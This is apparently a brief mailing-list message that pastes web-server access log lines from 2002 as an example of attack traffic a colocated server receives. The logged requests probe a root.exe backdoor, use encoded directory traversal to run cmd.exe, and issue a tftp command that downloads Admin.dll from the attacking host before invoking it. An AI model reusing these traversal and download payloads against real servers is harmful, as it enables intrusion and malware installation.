See, Herb you could be sitting on the floor of your colo dealing with
poop like this...
Here's an example -
207.86.144.105 - - [28/Feb/2002:02:38:32 -0500] "GET
/scripts/root.exe?/c+dir HTTP/1.0" 200 1942 "-" "-"
... 72 practically identical lines deleted ...
207.86.144.105 - - [28/Feb/2002:02:38:36 -0500] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20207.86.144.105
%20GET%20Admin.
dll%20d:\Admin.dll HTTP/1.0" 200 2104 "-" "-"
207.86.144.105 - - [28/Feb/2002:02:38:39 -0500] "GET
/scripts/..%252f../Admin.dll HTTP/1.0" 200 1950 "-" "-"
